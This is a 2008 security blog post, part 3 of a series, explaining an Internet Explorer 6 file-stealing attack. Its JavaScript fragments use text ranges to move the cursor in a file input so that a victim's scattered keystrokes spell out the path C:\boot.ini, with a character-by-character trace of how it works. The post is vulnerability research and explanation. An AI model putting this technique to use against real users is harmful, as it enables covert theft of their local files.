File Stealing in Internet Explorer 6 - Part 3

This is the third part in a multi-part discussion of Internet Explorer 6 file stealing vulnerabilities. The first part presents background information. The second part discusses targeting the "C:\boot.ini" file.

In the third demonstration, we implement Bart van Arnhem's technique to use a text range to arbitrarily position the cursor within the file input element. This approach makes the attack an order of magnitude more effective, because the characters in the desired file name can be captured in any order.

We no longer need to matched the reversed file name. Instead, a parallel array of flags is created to store when a character is matched:

    wanted = wanted.toLowerCase();

    for (var i = 0; i < wanted.length; ++i) {
        target[i] = wanted.charCodeAt(i);
	matched[i] = false;
    }

The file_keypress function is modified to use this array when searching for characters to match:

    current = c.toLowerCase().charCodeAt(0);
    for (var i = 0; i < target.length; ++i) {
	if ((!matched[i]) && 
		(target[i] == current)
	    ) {
	    var orig_pos = i;
	    var insert_pos = orig_pos;
	    for (i = 0; i < orig_pos; ++i) {
		if (!matched[i]) {
		    --insert_pos;
		}
	    }
	    var range = file1.createTextRange();
	    if (null != range) {
		range.collapse(true);
		range.move("character", insert_pos);
		range.select();
		matched[orig_pos] = true;
		++idx;
		return true;
	    }
	}
    }    

The code is worth examining in detail. The list of target characters is iterated through and searched for a character that matches the current character but hasn't been matched previously. Once one is located, the original match position is stored (orig_pos) and the default insertion point is set (insert_pos). Next, the number of currently unmatched characters preceding the match is used to adjust the insertion point backwards. The intuitive way to think about this is that space needs to be reserved on the left of the string for characters that haven't been matched yet. When those characters are matched, they will fill in those positions and shift everything else to the right.

An example should help illustrate this. Consider that the string "tiboocin:.\" is entered:

 - Initial State -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [  ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    _   _   _   _   _   _   _   _   _   _   _

 - "t" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [ ] [ ] [ ] [ ] [ ] [ ] [X] [ ] [ ] [ ] [  ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    t   _   _   _   _   _   _   _   _   _   _

 - "i" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [ ] [ ] [ ] [ ] [ ] [ ] [X] [ ] [X] [ ] [  ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    t   i   _   _   _   _   _   _   _   _   _

 - "b" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [ ] [ ] [ ] [X] [ ] [ ] [X] [ ] [X] [ ] [  ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    b   t   i   _   _   _   _   _   _   _   _

The "t" character is matched at offset 6, but there are six unmatched entries before it, so it is inserted at position 0. When "i" is matched at position 8, there are seven unmatched entries preceding it, and it is placed at position 1. The "b" is matched at position 3 and is inserted at position 0 since there are three unmatched entries preceding it. And so on until the entire string is matched:

 - "o" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [ ] [ ] [ ] [X] [X] [ ] [X] [ ] [X] [ ] [  ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    b   o   t   i   _   _   _   _   _   _   _

 - "o" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [ ] [ ] [ ] [X] [X] [X] [X] [ ] [X] [ ] [  ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    b   o   o   t   i   _   _   _   _   _   _

 - "c" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [X] [ ] [ ] [X] [X] [X] [X] [ ] [X] [ ] [  ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    c   b   o   o   t   i   _   _   _   _   _

 - "i" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [X] [ ] [ ] [X] [X] [X] [X] [ ] [X] [ ] [X ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    c   b   o   o   t   i   i   _   _   _   _

 - "n" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [X] [ ] [ ] [X] [X] [X] [X] [ ] [X] [X] [X ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    c   b   o   o   t   i   n   i   _   _   _ 

 - ":" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [X] [X] [ ] [X] [X] [X] [X] [ ] [X] [X] [X ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    c   :   b   o   o   t   i   n   i   _   _

 - "." matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [X] [X] [ ] [X] [X] [X] [X] [X] [X] [X] [X ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    c   :   b   o   o   t   .   i   n   i   _

 - "\" matched -
Position:[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10]
Matched: [X] [X] [X] [X] [X] [X] [X] [X] [X] [X] [X ]
Target:   c   :   \   b   o   o   t   .   i   n   i
Input:    c   :   \   b   o   o   t   .   i   n   i

Allowing the characters to matched in any order improves the attack by reducing the amount of text a user is required to enter.

Posted by gfleischer on 2008/01/14 at 22:04 in Vulnerabilities

Home

Subscribe
RSS 2.0
Quick Links
Content
Info

Categories
Archives
Sitemap
Valid XHTML 1.0 Transitional Valid CSS!